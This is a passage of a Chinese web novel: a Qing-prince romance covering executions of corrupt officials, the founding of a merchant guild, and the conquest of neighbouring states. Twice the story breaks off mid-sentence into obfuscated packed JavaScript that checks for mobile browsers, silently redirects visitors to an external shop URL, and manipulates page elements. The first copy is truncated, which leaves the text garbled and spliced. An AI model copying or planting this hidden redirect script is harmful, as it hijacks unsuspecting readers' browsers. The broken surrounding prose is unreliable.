舒禾转身靠坐在书桌上,手指在桌侧摩擦两下,脑海里面就有了想法,“你遣人去问问七弟,有兴趣坐商会的荣誉主席没有,有的话,经商这方面,他可以跟着我干。” “行,我明天遣人去问问,今天就算了,显得咱们太上赶着了。” 说完胤祐的事后,书房内有一瞬寂静,旋即舒禾开口了,“老赖官员名单你放哪了?” “在隔壁我的书房,怎么了 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坐下没两秒,书房们被人从外边推开,只看这进门不打招呼的样舒禾就知道这是胤褆回来了,自顾自地捻起毛笔沾了沾墨,头也不抬地伸出手,“名单拿来。” “给。” 舒禾接过名单放到面前,端详片刻,果断落笔将秋风方才说的那三个人名添了上去,“虽说明面上就他们三个,但后边肯定还有人在,你杀之前,查查他们背后,不要误杀,但、也不要放过。” “赵迁、孙榷、钱序……” 胤褆念了一遍新添上的几个人名,点点头,“我记下了,到时候先杀他们几个。 对了,行刑那天,你要去吗?” “不去。” 嘴上说着不去,实际上到了一个月后行刑那天,舒禾还是去了现场。 行刑台离他们所处的看台很远,并不怎么能看清楚台上的血腥画面和听清楚那些人临死前的或污言秽语或哭诉求饶,能听得清的,只有那特意找来的武将朗诵罪名的声音。 声声罪名,都是在控诉他们为官不仁…… “看着这些血腥画面,有没有感觉身体不适?若是不适,咱们这就启程回去。” 听到胤褆关切的声音,舒禾从自己都思绪中回神,看着胤褆带着暖意的眸子摇了摇头,“我没事,这边隔的挺远的,莫说血腥画面了,就连声音都听不怎么真切。” “那就好。” 胤褆放心的靠坐回去,眼神重又落向行刑台,里面充满了冷意,“不查不知道,一查才发现这些无赖官员不止不干活,还在私底下搜刮民脂民膏,现下也不知道他们哪来的脸面喊冤屈。” “可能是剩余官员中还有没揪出来的,想想那些没事的同僚,再想想自己马上就要被斩首示众,莫明觉得自己冤枉吧。” “说到还没揪出来那些,爷就头疼。” 杀吧,确实没证据,一个个尾巴都扫的挺干净,杀了不好服众,他固然是可以捏造证据,但若是被发现,以后他就会陷入到一种怪圈中,手底下的人再不敢信服他。 可若是不杀吧,他这心里面属实是不舒服。 更重要的是,全杀了,就没人给他干活了,他现在可以说是陷入那两难、不,三难的境地里了。 59.商会成立、百花齐放 胤褆心下微叹,手里面能用之人还是少了点,若是可用、可信之人够多,能在他杀完那群蛀虫后立马有人补上,他又何至于在这畏手畏脚。 行刑台上的血色逐渐蔓延至台下,周围围观的人往后稍退,就见又一名官员被推着走了上去。 “大哥这一手釜底抽薪玩的是真好。” “你觉得是釜底抽薪,我倒觉得是敲山震虎。” 闻言,胤祉挑了挑眉,抬手勾上胤祺的肩膀,好奇地问询:“为什么这么说?” “这些推出来的官员里面,都是些职位低的,高的就那一两个,比例不对等,上面肯定还有。” “确实,都太低了,”胤祉赞同地点点头,随后话锋一转:“你看到大哥在哪了吗?” “不远处的看台上。” “走,咱们找他去。” 胤祺撇过头看向胤祉,“你找大哥有事?” “没事还不能找他了吗?怎么,他是什么无事不得见的尊贵人不成?” “不是,随你,但我不想去。” “哎呀——走吧!”胤祉拉着胤祺,死拉硬拽地把人拽到了地方。 熟料,在门口,却恰好碰到了死拉硬拽着胤禛的胤禩。 拽人的兄弟两个对视一眼,蓦然笑出了声。 被拽的两个对视一眼,眼里面满满生无可恋的气息,这一路被拽过来,他们两个脸已经丢尽了,真真是累了,让这一切都毁灭吧。 很可惜,这世界并不能如他们两个所想,该如何还是如何,打开门走进看台。 门被打开的声音吸引了里面人的注意,纷纷扭头朝外看去。 在看到站在门口的是他们几个后,胤褆偏头和舒禾对了个眼神,确定不是他们两个谁邀请的后,毫不客气道:“滚!” 一天天的,在府里面忍着这几个人已经够了,出门再忍,他就要变成那忍气吞声的老王八了。 “大哥,我和五弟是过来送钱的。” 钱?胤褆略微思索,朝着胤祉招招手,“进来。” 完后复又看向胤禩和胤禛,“你们两个也是来送钱的?” “不是,但!我们两个来确有要事。” 要事?胤褆冷嗤一声,“什么要事都放到回府后再说。” 胤禩扭头和胤禛对视一眼,暗示他想想办法,胤禛无奈一叹,想办法、想办法,他能有什么办法。 看看已经跑进去的两人,胤禛沉默一瞬,果断套用了他们两个的借口,“我们两个也是来给钱的。” “啧,进来吧。” 至此,四个人全部进来,看台被关上。 几人围坐一桌,胤祉从袖中掏出一个方正盒子放到桌上,推着放到胤褆面前,“这是三十万两银票,是借兵三万的钱,大哥你点点清楚。” “点点清楚就不必了,也不是什么大数目的钱。” 主要是当面点清显得他太小气了,而且跑得了和尚跑不了庙,都是自家兄弟,就算是后边查出来数目不够,他能找着人,所以他完全可以等回去找人点。 胤褆拿过盒子,放到舒禾面前,给了她一个炫耀的眼神,示意她收起来,这是他自己挣的钱。 垂眸望着眼前的盒子,舒禾总算是明白,为什么一个月前胤褆会说他要挣大钱了,原来是羊毛出在羊身上,直接从兄弟堆里面开始薅钱了。 收了一笔钱,该收第二笔钱了,胤褆把目光转向胤禛,就差没明说该你了。 胤禛闭了闭眼,也从袖中掏出一个盒子,有些不舍的放到桌上往外推了推,“这是三十万两银票,大哥你收好。” “嗯,”胤褆反手拿过盒子再次放到舒禾面前,随后给他们表演了个什么叫翻脸不认人,“钱已经给了,你们还有其他事吗?” 言外之意就是,没事了吧,没事赶紧走,这里不欢迎你们。 “……大哥,就不能让兄弟几个在这歇歇脚?” 胤褆挑了挑眉,一脸狐疑地问道:“你确定你们几个只是想歇歇脚?” 胤祉无辜着脸反问:“不然还能干什么?” “行,那这里就让给你们歇脚了,舒禾,咱们走——” 胤褆站起身朝舒禾伸出手,将舒禾拉起来后,顺带着弯腰拿上钱转身就走,临出门之际,不忘回头看向目瞪口呆的几人叮嘱。 “这里位置不错,看什么都看的清楚,几位弟弟可别急着走啊!” 说完,不等几人回答,胤褆就带着舒禾溜了。 一出门,胤褆嘴角就扬了起来,晃了晃手中盒子,“怎么样,爷能干吧?” “确实能干,不过借兵收钱,他们几个心里面会不会……” 胤褆撇撇嘴,一脸不屑道:“又不是那过命的交钱,凭什么把兵不收一丝酬劳的借给他们?” 要知道这一借可就是三年,好的兵就和那花一样,都是有花期的,错过那几年,随着年龄增长,身体各方面的条件下降,就那样之前那么好用了。 “确实,”舒禾赞同地点点头,转而看向胤褆捏在手里面的两个盒子,“你捏着累不累,累的话让李阔帮你拿着。” “累却是不累,不过舒禾你都这么说了……李阔,接着!” 李阔手忙脚乱地接住两个被扔过来的盒子,差点因为没拿稳把一个盒子掉下去,好在千钧一发之际身体反应了过来。 将两个盒子用一只手抱在怀里,空出来另一只手擦了擦额头上因为害怕而冒出来的细汗,深深呼出一口气。 觉得这么一天天担惊受怕下去,迟早要短命,看来收个徒弟为他分担的事已经刻不容缓了…… 一行人回到城主府,还没来得及进正院,就被守在大门处的李海给拦了下来。 “郡王、福晋,有好几个官员找过来了,说是您们想要取缔户部有违祖宗家训,想要请您们……” “他们现下在哪?”胤褆拧着眉打断道。 “在、在前院书房外跪着,说是要跪到您们收回成命。” 胤褆歪头恶劣一笑,“威胁爷?舒禾,你说,该如何办?” “去告诉他们,爷不在府内,若问及行踪,一律说行刑场,若要跪,便去那边跪着去。”舒禾神色淡淡道。 “福晋,这……”李海有些迟疑地看向胤褆,不知道该不该照做。 胤褆皱了皱眉,压着嗓子沉声道:“没听福晋说嘛,让府兵把他们带到行刑场,不看完所有斩首之人,不许回去。” 李海抽了抽嘴角,心里面腹诽:两活阎王。 明面上却是应了一声‘是’后就跑去找府兵了。 因着知道前院有人挡路,两人干脆饶了远路回正院。 路上,想到什么,舒禾一拍额头懊恼道:“差点忘了今天下午约了三弟妹和四弟妹去城中禾苗茶楼吃茶,这时间也不早了,不如……” “爷跟你一起去。” 舒禾有些错愕地看着胤褆,不可置信道:“跟我一起去?” 要知道这可不是去办正事,而是姐妹小聚。 察觉到舒禾看着自己的眼神不对,胤褆转念一想就知道这是误会了,连忙摆手解释道:“放心,爷不跟你一起进去,你们该怎么就怎么,爷在旁边开间房等着,你和他们聊完再去找我就行。” 就这样,两人再次同行,马车上,舒禾一脸郁悴地盯着胤褆,幽幽问道:“保清,你不觉得咱们两个每天在一块待的时间太长了吗?” “长吗?爷倒觉得刚刚好。” “可是我觉得咱们两个在一块的时间太长了,不如以后咱们适当的分开一下下,就和那个你不曾踏足的密室、我不曾踏足的书房一样,给彼此多留点私人空间。” 胤褆双手环胸,好整以暇地看着舒禾,“舒禾现在说这些,是腻了爷?” "没、我就是——就是觉得,咱们两个现在这样有点不利于长期发展,天天待在一块,早晚是要腻的。" “懂了,意思就是说,你现在虽然还没有腻了爷,但随着时间发展,腻只是早晚的事。”胤褆看着舒禾,满脸满眼都写着你可真绝情啊舒禾。 只是想要点私人空间却被冤枉至此,舒禾人已经麻了。 恰逢此时,外边传来冬至说茶楼到了的声音,于是,为了逃避,舒禾撩开帘子,不等人把凳子拿过来就跳了下去,逃也似得跑了。 撩开车窗帘,望着舒禾逃跑的身影,胤褆勾了勾唇角,想扔下他,不可能! 都说好的人不止吸引男人还吸引女人,外边那么多花花草草,他不跟严点,福晋跑了怎么办。 别以为他不知道,当初交赎金的那群女人里面就有一个对舒禾有企图,听说还在大庭广众之下说了甘愿为奴为婢,只求跟在舒禾身边。 想到这两个弟妹对舒禾不同于寻常的黏人,胤褆眼中笑意一收,冷着嗓音吩咐道:“李阔,去,跟着福晋,开间隔壁的包厢。” “大嫂,你来了——” “不用起来,坐坐坐。” 和卓和琪娜对视一眼,并没有听舒禾的坐下,而是走到她两边,一人环着一边胳膊,簇拥着舒禾走到座位是坐下,方才在她两侧落座。 和卓拿起桌上的茶壶倒了一杯茶放到舒禾面前,笑着提起前两天她们被迫中断的话题。 “大嫂,你当时说的商会我和四弟妹很感兴趣,就是不知道它的具体运行方式,到底是心里面有些顾虑,你能给再我们两个讲讲吗?” 舒禾闻言微微颔首,“当然。” 商会的运行实际上分为两部分,一部分为实际操作者,另一部分则是像那天我和你们说的只投钱,不管事,按期和投入资金得利,是为股东。” “这个风险大吗?”琪娜摩擦着垂在手里面的手帕发问。 “要说风险,肯定是有的,但不大。”换成大清舒禾都不敢这么说,但换成这里,若不是没有打包票的习惯,她完全肯定的说没有风险。 见两人听到有风险后低头沉默不语,舒禾也不在意,拿起桌上的茶杯抿了一口茶,拨弄两下腰间挂着的玉佩,百无聊赖地等着两人思考好。 等待的时间持续的并不久,大概一刻钟的时间,两人就做出了决定。 琪娜抿着唇将放在一边凳子上的包拿来,从中掏出一个成人两个巴掌大的首饰盒放到桌上,打开,里面是满满的金条。 “这里不是大清,我想着大清的那些银票、地契不好变现,就拿了金子来入股,有些少,还望大嫂不要嫌弃。” “自然是不嫌弃的。” 拜托,谁没事会嫌弃金子啊,光是看着那金灿灿的颜色心情都会不自觉好上几分好吗? “大嫂,四弟妹的入股资金看过了,来看看我的吧。” 和卓一只手环住舒禾的胳膊,另一只手捞过一边的包裹放到桌上,包裹内呼啦作响,听的舒禾不由好奇里面到底是什么东西。 和卓自然是没有错过舒禾脸上的好奇,笑着指向桌上包裹,“大嫂好奇,不如自己打开看看,要知道这些东西,我家爷要我都没舍得给。” 这话一出,舒禾的好奇心上升至顶峰,手指探向包裹上的那个结扣。 一打开,舒禾就惊了,这里面都是些首饰,没包装盒,就纯手势,好几个还是点翠的,就那么随意堆积着。 不过…… “三弟想要这些东西?” “前些天直郡王借兵要钱,我家爷钱不够,他把他带过来那些字画全折价卖了,还不够,就把主意打到了我这些首饰上。 要不是我一句动女人嫁妆的男人全大清少有,他面上挂不住,我这些首饰啊,可就保不住了。 哎,对了,我记得四阿哥也借了兵,琪娜妹妹,他跟你要东西了吗?” 和卓最后一句话一出,舒禾也好奇地望了过去,被两个人看着,琪娜摇了摇头,“不曾,但我看他发愁,就把我那 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虽然就算是限制,她也会干,而且还会把他踹了干,但决不会像现在这么舒服。 聚会最后的最后,舒禾放下茶杯,向两人抛出了一只橄榄枝。 “商会成立后,这边会大力鼓励私人开自己的店、做自己的生意,届时我会掺一把手,若是两位妹妹觉得日子无聊,可以跟着我干些小生意。” 和卓和琪娜对视一眼,忽然起身朝着舒禾盈盈行了一礼,“姐姐若是愿意带着我们二人干,我们自是愿意的,只是直郡王那边……” “他?不用在意。” “嗤——” 舒禾茫然地看着笑开花了的两人,不明白自己说的那句话有什么好笑的,但为了合群,还是勾起唇角敷衍地笑了一下,谁知道两人看到她笑了后,笑得更欢了。 “哈哈、咳咳!大嫂,抱歉,不是笑你。” “对对对,我们两个纯粹是想到好笑的东西了。” 闻言,舒禾更疑惑了,直到坐上回府的马车,把这事说给了胤褆,才得到了答案。 “她们两个哪是在笑你,那是在笑我,笑我在府里面没一丝地位,连说的话都没人在意。” “这很好笑?”舒禾继续疑惑,还是不解。 见她这样,胤褆摇摇头,没再说什么,很多时候笑,并不是事件本身有多好笑,而是…… “你要成立商会的事,我已经在临时官府那备过案了,你瞅个时间、挑个地址,广而告之,宣布成立就成。” “那几个厂的也办好了?” “杀了那么多人,再办不好这件事,这威算是白立了。” “也是。” 自打知道商会备案通过了,舒禾就开始了正式的忙碌时光。 在舒禾忙着的同时,胤褆也没闲着,他去了一趟武器厂,亲自确认了一批武器的生产,这批武器刚一生产出来就被人拉走了。 后来舒禾听说了,问起这事,胤褆也只是神秘笑笑,说是‘秘密’,并说该她知道的时候她就知道了。 见他这样,舒禾干脆也放弃了询问,夫妻之间也不是事事都要坦白,胤褆觉得现在的她没必要知道就没必要吧,反正她瞒着胤褆的事也不少。 连轴转了半个月,商会正式成立,总部落址中心区桃圩街,经官府批准,直接就占了一条街,这条街直接被改成统一风格的店铺,留待第一批加入商会的人展示商品和销售商品。 在商会正式成立这天,在城内干活的官员,有一个算一个,都送来了贺礼,区别只在于或多或少,其主人或公正廉洁或贪污受贿。 说这个可能还不怎么直观,这么说吧,什么都没干,光是礼金就收了三万两银。 若不是开店收礼不是长久之计,舒禾估摸着每天开家店收礼金一年到头也能弄个上百万两。 胤褆拨弄着装礼金的红封纸,眼带嘲弄,“这些家伙,贪的还是多。” “做官,不贪的少。” “我也不是要他们完全不贪,毕竟就当官那点子俸禄,一家人完全活不起,但这贪了我的钱,再来给我送礼,就有点过了。” 舒禾白一眼胤褆,拿过他手里面被玩来玩去的红纸,放到一边,呛声道:“什么你的钱,那都是我的钱。” “是是是,你的你的,都是你的,那我伟大的福晋,能不能想想办法管管那些贪你钱的官员?” “办法嘛,不是没有,就是有点缺德。” 胤褆闻言来了兴趣,手指轻敲桌面,迫不及待道:“细说。” “这条街以后会开满各式各样的店铺,统一归属于商会管辖,只要商会做个小规定,让他们实名买卖东西,关于哪些人花了多少钱,有没有超出他花钱的范畴不就一目了然了?” 胤褆沉思片刻,摇了摇头,“不太可行,是个人都知道商会背后是你我,实名玩牌,当官的都十分忌讳。” “那就更缺德一点,也不一定是主动实名,完全可以给每个官员身边悄悄安插一两个人盯着他们,记录下他们都干了什么。” “这个倒是有点可行,先记下,回头咱们两个详细谈谈,扩展一下,将可能会出现的纰漏堵上,试试看能不能投入使用。” “行。”舒禾点点头记下,等了一会,见胤褆没什么想说的了,低头自顾自地又整理起了礼金。 自商会成立那天起,桃圩街原来空荡荡的店铺逐渐迎来了第一批做生意的人,有中心城区本地的居民、有慕名而来其他地方的人、还有那喜欢四处开店的游商…… 吃的、喝的、玩的,卖的东西千奇百怪,可以这么说,只有你想不到,就没有这条街上没卖的。 又是一年春来到,原来萧瑟的枝头挂上新花,领地内迎来了商业上的百花齐放,同时,也迎来了一个不算好不算差的消息…… 60.拿下其他三国 领地周围的东西两国被拿下了,拿下它们的,不是其他人,就是那几个刚借了兵的皇阿哥,初听这个消息,舒禾惊得嘴都合不拢了。 那模样,看的胤褆好笑,上前两步走到软榻边,俯腰揉了揉舒禾的脸,顺带着帮她把嘴闭上。 “这么吃惊作甚,他们借了我那么多兵,又买了我那么多好武器,若是合手连两个小国都拿不下,还不如早早回炉重造,说不得还有机会取得一点其他成就。” “你之前从武器厂提走的那批武器,是卖给了他们!” “对,卖回来的钱直接入了武器厂账,”说到这里,胤褆垂眸笑了笑,“说实话,我本以为这个月月初你查账时就会发现的,没想到居然被好端端瞒到了现在。” “……我只是查一部分账,这么大个领地,若是所有账本都需要我看,我岂不是要累死。” “那怪我,太自以为是了。” “不怪你,这事属实有点阴差阳错在上面,”舒禾抬手揉了揉眉心,见胤褆一直站着,索性往一边坐了坐,给他让出一个坐的位置,“坐,我有事问你。” 胤褆挑了挑眉,依言坐下,顺势环住舒禾的腰懒洋洋抱怨道:“就知道没事问我也不会让我坐下,唉~可怜爷只能依靠回答问题才有位子坐。” “还能不能问了?” “能能能,你问,我一定知无不言言无不尽。” “三弟他们拿下那两个国家,是会像咱们现在这样当做封地还是直接立国?” “当做领地。” 闻言,舒禾有些失望地叹了口气,“我还想着他们起个头,咱们顺带着也宣布立国呢。” “想做国王了?”胤褆嬉皮笑脸地问道。 “滚一边去,没个正经模样。” “嗐,想做就说,没什么大不了的,咱们夫妻两个,不需要避讳什么。” 听胤褆这么说,舒禾干脆直接把自己内心一直以来的疑惑问了出来。 “这里天高皇帝远,就算是做什么隔着茫茫大海也穿不到大清去,你却三番五次推辞立国这件事,一开始我百思不得其解为什么,后来隐隐约约察觉到了,你在忌惮,我想知道,你到底在忌惮什么。” “皇阿玛,跟着来的这些人里面肯定有他的人在,做太过,下次回去,我怕咱们两个被赐毒酒一杯。” “我知道了,除此之外,还有吗?” “没了,”胤褆看着舒禾严肃的脸,小开了一个玩笑,“我说忌惮皇阿玛,你该不会直接把皇阿玛——” 说着,胤褆比了个抹脖子的手势,看的舒禾直翻白眼,“想什么呢,我有那么大能力么。” “不知道啊,在我心目中,我的福晋无所不能。” “行,那我现在就告诉你,我没那个能力。” “没就没吧,咱们现在这小日子过的也是舒舒服服。” 这倒确实是,在这领地上,他们两个作为掌权者,不会有人跳出来参他们两个什么,也不会有那不长眼的跳出来惹他们,更重要的是,逃脱了原来既定的命运。 舒禾偏头看向因刚蓄发没多久,前后头发还没找到一个水平线的胤褆,抬手轻抚他的侧脸,在胤褆不明所以的眼神中,凑过去在他唇上亲了一下。 “你给我解惑的报答。” 见舒禾亲完就后撤,胤褆抬手拉住她的胳膊,目光具有侵略性的落在舒禾身上,危险道:“只是一个吻未免太少了点吧?” “一个吻不够?”舒禾拧着眉不解道:“我倒是不知道什么时候你两句话值那么多东西了。” “两句话自是不值,但我刚才说了明显不止两句,所以,舒禾……” 胤褆弓着身子逼近舒禾,近到两人都能清晰看到对方脸上的细绒毛方才停下,“你得好好付我报酬才是。” “那接下来,随你如何?” “如此,甚好——” 同一时间,不同地点,关于将新打下来的地方是当做领地做领主,还是立国做国王,几兄弟都毫不犹豫选择了前者。 打下左边国家的是胤祉和胤祺,此刻两人站在王庭内,一人端了一杯酒,正说着这件事。 “这地方是咱们兄弟两个一起打下来的,哥哥不让你吃亏,吃亏一点,要这个国家的左边如何?” 胤祺抿了一口酒杯里的酒,眸子盯着远处的绿茵,沉声道:“都可以,但弟弟这还有个更好的办法,不知道三哥你有没有兴趣?” “说来听听。” “和四哥还有八弟联合起来,左右夹击,把中间那个国家一起拿下,分一半中间那个国家的领地,然后再进行领地分配。” 胤祉愣了片刻,突然笑了起来,抬手拍了拍胤祺的肩膀,含笑道:“之前一直以为你跟着太后念佛,整个人都佛了,没想到你还是有点野心在的。 行,这事我看是行,这样,我现在就去给老四传信,你呢,就负责整理一下战利品如何?” “可以。”胤祺微微颔首,眼看着胤祉将酒杯中的酒液一饮而尽离开后,也随之离开了刚才站立的地方。 “四哥,这地方太少了,一分,咱们两个到手的地方寥寥无几,我想……” 看着胤禩眼中闪烁的野心,胤禛缓缓摇了摇头,“咱们两个借的兵少,打下这个国家已是勉强,若不想着留下兵力稳定国内情况,而好高骛远,很有可能会阴沟里翻船。” “光是咱们两个不行,但不是还要三哥和大哥在嘛,实在不行,就拿刚缴获的金银,再买点枪支弹药。” “小八,一切还是以稳为准。” 见胤禛态度坚决,胤禩撇了撇嘴,不情不愿地点了点头,“听四哥你的。” “放心,领地面积上,肯定不让你吃亏。” 胤禩低头暗戳戳翻了个白眼,说什么不吃亏,不趁着现在多打点就是吃亏。 这次大哥回去带了他们兄弟五个出来,下次回去,不定要带几个兄弟回来呢。 那么多兄弟,以后若是都想在这边打封地,他们不趁着现在多弄点,等以后地方都被瓜分完了,那才是想后悔都晚了。 因着理念不合,接下来几天胤禩一直在琢磨等领地分好,就出去单干多弄点领地来的事。 也就是在这个关头,两人收到了胤祉的传信,看完信上的内容,胤禩说是疯狂心动也不为过,满眼期待地看向胤禛,唤道:“四哥……” 这么好的事,赶紧做决定吧,再不做决定他都怕这事长腿跑喽! 接收到胤禩隐藏含义的胤禛神色微滞,短暂的迟疑过后,便点了头。 “我去给三哥回信,麻烦八弟你去整理一下能够动用的兵力了。” “不麻烦,我就去!” 如此这般,又是两个月时间过去,胤褆再得到几个兄弟的消息,已是他们拿下了中间那个国家,并将三个国家划分为了四块领地后了。 看着到手的消息,胤褆笑着挑了挑眉,觉得自己似乎可以去要账了。 “笑那么开心,捡金子了?” 舒禾端着托盘过来,将托盘放到书桌上,拿过胤褆手里面的纸条扫视一眼,看完后随手就放到了烛火上点燃扔到了砚台中。 胤褆拿起一块凤梨酥咬了一口,还没来得及咽下去就看到了舒禾这一系列动作,那是连阻止都没来得及啊,只能眼睁睁地看着自己心爱的砚台就这么成了灭火工具。 咽下嘴里面的凤梨酥,看看砚台,再看看自家貌美如花的福晋,默默地又咬了一口。 嗯,他还是什么都别说了,砚台比不过福晋,毁了也就毁了,若是他说两句话,惹得舒禾以为他喜欢砚台超过她,生气了,那就得不偿失了。 “三个国家被分成四块,他们几个倒是好想法。” “四个人,落下哪个都容易内讧。” 一刻钟后,舒禾突然问道:“你很饿?” “没有啊,怎么突然问这个?” 舒禾目光下移,落到她刚才端进来的托盘上,那上面原来放了满满一盘的凤梨酥,可现在呢,只剩下一块了。 这还是在她一口都没吃的情况下,她问这么一嘴,完全很合理吧? 顺着舒禾的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等了几分钟,冬枣带着七、八个穿着巡捕衣服的壮汉跑了进来,对着舒禾点了点头,“福晋,外边都安排好了。” “那就上吧,把里面那个叫嚣的人给我抓出来。” 冬枣一挥手,几个壮汉随令而动,径直走向那唯一吵闹的房间,打开门走进去,不过一分钟,就拎着一个满头金发的男人走了出来。 看着即使在这种情况下也不忘用自己母语骂人的男人,舒禾脸上被气出来的笑更浓了两分。 也不废话,只道:“本福晋怀疑这人是他国的探子,压下去,好好审审。” 领头的壮汉,上前两步,一脸为难道:“福晋,咱们这并没有人听得懂他说的……” “没人听得懂那就去找能听懂他说的话的人,怎么找还需要我教你?” “那找人的银子……” “走办案流程。” “得嘞!”领头的壮汉得到准信,一挥手,示意跟着他来的几人跟上,押着那人就走了。 这处理操作,直接把胤祐看呆了,他以为很复杂的事,没想到落到大嫂手里面那么简单,只是…… “这人自称什么王子,就这么压下去,不会带来什么麻烦吗?” “谁知道他来了这里?谁能为他回国报信?” “出门在外,侍从总要带些的吧?” 舒禾微微一笑,“这就要麻烦七弟了,如果有人过来商会寻他,不要迟疑,直接命人拿下或先打发了然后派人跟着回去,一举拿下所有跟着他来的人。 这样,就可万事无忧了。” 说完,见胤祐呆呆地点了点头,舒禾垂眸浅笑,告了别后,带着冬枣转身就走,徒留胤祐站在大厅内许久回不过神。 回府路上,冬枣骑着马跟在舒禾身侧,一边注意路况,一边出声询问:“福晋,那人,可要他死在审讯环节?” “先审,审出身份,有用就留,没用了再论。” 61.太子登基 “奴婢明白了。” 冬枣明白什么舒禾不知道,她只知道前面突然窜出来一个人挡在了她的马前,若不是她骑术不错,及时勒住马,这马可能就从那人的身上踏过去了。 这变故发生的可以说是连给人准备时间都没有,等冬枣反应过来后,事都过去了。 刚想开口呵斥地上那不看路的人,就见那人身上穿着熟悉的衣服,那衣服她见过,恰是那急匆匆从书房跑走的郡王爷穿的。 下意识扭头看舒禾,唤道:“福晋……” 舒禾抬手止住冬枣欲出口的问询,看着底下的胤褆眼神冰冷,出声就是冷斥:“当街拦马,你不要命了嘛!” “我这不是相信舒禾你的骑术。” 假的,实际上他更相信自己,就那速度,若是舒禾来不及勒马,他也能及时闪到一边,从小受到的教育令他从不会拿自己的安危开玩笑。 这一切,舒禾并不知道,嘴上仍在斥道:“就算是相信我,也不该拦马,将自己处于危险之中的行为太蠢了,蠢出天际、蠢……” 趁舒禾骂他的那会子功夫,胤褆无奈在原地转了一圈,最后绕到马侧,翻身上马,拿过舒禾手里面的马绳,一夹马腹,骑着马就跑了出去。 “我出府走了很久,一个人,反应过来时,人已经走出挺远了,恰好在此时看到你,但你骑的挺快,那个速度,我喊你绝对是听不见的,出于无奈,我才选择的拦车。” “……你出门,没带李阔?” “出门太急,忘了。” 这下,舒禾是真无语了。 整理了一下内心升腾起的好笑情绪,轻咳一声,勉强维持住微冷的声线说道:“君子不立于危墙,不管如何,拦马这事,你太莽撞了。” “我的错,不会有下次了。” 在胤褆连连保证不会再致自己于危险中下,这次的事算是过去了。 夜晚,洗漱过后躺在床上,舒禾背对着胤褆躺在床上,感受着腰间环绕的手臂和背后属于另一个人的体温,想到白天的事,还是觉得悚然。 如果今天白天她没有及时勒马,将胤褆踩踏于马下,胤褆出了事,她自己会不会原谅自己另说,单说大清她就难回去了。 还有这领地,估摸着要动荡许久或者换个主人才能继续维持下去。 说来可笑,这领地能够建设到如此地步,靠的都是她拿出来的东西,却不认她。 怪只怪那片土地上从古传到今男子为尊的思想,若是允许女子建功立业…… 想着想着舒禾突然自嘲一笑,那么多年都没有废除的封建思想,怎么可能在她这就失了力,不过没关系,她不能有的,她的女儿会有。 斗转星移,三年时间转眼即逝。 领地的整体面貌相较于三年前,得到了长足的进展,算上三年前借出去今年回归的士兵,整个领地的士兵储备达到了六十万之多,其中一半隶属于火器营。 光是兵力这一点,对比旁边四个领地,可以说是碾压性的储备量都不为过。 硬装实力有了保障,其他地方的发展也没有落下,随着商会的发展,所带来的财富充入私库,不仅给舒禾和胤褆实现了财富自由,还与离得稍远些的一些小国达成了友好的商业合作。 要说缺陷,那就是这片土地上的人并不擅长耕种,他们带来的人虽说有擅长耕种的,但也是更擅长作战,没道理为了耕种放弃自己其他所擅长的东西。 种地的人少,耕地也少,导致他们每次都需要想办法从其他地方买粮食。 好在其他几个阿哥所有的领地都擅长种植,能大批量向他们出售粮食,收购了他们富余的粮食后,只要再在其他国家买一些就能撑过去一年。 又是一年夏,院中各色花草争奇斗艳,长的是郁郁葱葱。 胤褆抬手折下一朵开的正好的鲜花,别在舒禾耳侧,随后退后几步上下打量着舒禾,片刻后满意点头,“爷的眼光不错,一朵花衬得你更好看了。” 舒禾抬手摸摸耳侧的鲜花嘴角扯出一抹笑,“你确定是花衬我?” “嗯……刚才方才确定,现在嘛,有些不确定了。” 闻言,舒禾扯下耳侧的鲜花在手里面把玩了一下,随后扔向胤褆,佯装生气:“好好说话,别故弄玄虚。” 胤褆接住扔过来的花凑到鼻尖轻嗅,闻着属于花的芳香,眼带笑意地改口:“我改主意了,不是花衬人,而是人衬花,这朵花在众花丛中平平无奇,在你头上,却一下子有了艳压群芳的姿态。 所以得出结论,爷的福晋最美,且、更甚从前。” 胤褆说这话并不是无的放矢,三年前,舒禾面容还带着几分稚嫩,但现在,不止稚嫩没了,身上还多了一种时间沉积过后独有的韵味。 和数十年培养出的尊贵气不一样,这种韵味格外吸引人,每每一个眼神丢过来,他就着了迷。 “嗤,你这油嘴滑舌的劲也更甚从前。”舒禾笑着调侃道。 得了调侃,胤褆心情更好上几分,垂在身侧的手捞过舒禾的手握住。 还没来得及说话,新进府的丫鬟就急匆匆跑过来禀告道:“郡王爷、福晋,行礼都收拾好了,可要现在就出发?” “没眼力见的……” “行了,”舒禾拍拍胤褆的手,给他一个安抚的眼神,制止住他接下来即将脱口的话,转而看向来人,“现在就出发,走吧。” “是!” 两人走在前面,小丫鬟跟在后边,胤褆转身给了小丫鬟一个眼神,吓得人离他们远了些,才低声问道:“刚才咱们两个明显气氛正好,她闯进去坏了气氛,为什么不让我训斥她?” “用不着。” “怎么就用不着了,我还有话没说呢。” “那你现在说。” 胤褆冷哼一声,撇过脑袋看向一边,“现在说不了,气氛没了。” “哎呀好了,别气了,不让你训斥她,是因为气氛都已经破坏了,你就算是把她训出花来也于事无补,而且说多了还耽误时间,没必要因为这事,再去坏了另一件事。” 舒禾说完,见胤褆还没有反应,试探性的说道:“你要是真觉得心里面不舒服,我让人把她送回学规矩的地方再学两天规矩?” “这是你主动说的,我可没逼着你。” “是是是,没逼我,我主动说的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244679|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒禾点着头附和道。 见此,胤褆嘴角勾起一抹笑,就又腻腻歪歪的缠了上去。 大门口,一连二十几辆马车静静的等在原地,待到舒禾和胤褆上了准备好的马车,车队启程,晃晃悠悠朝海港赶去。 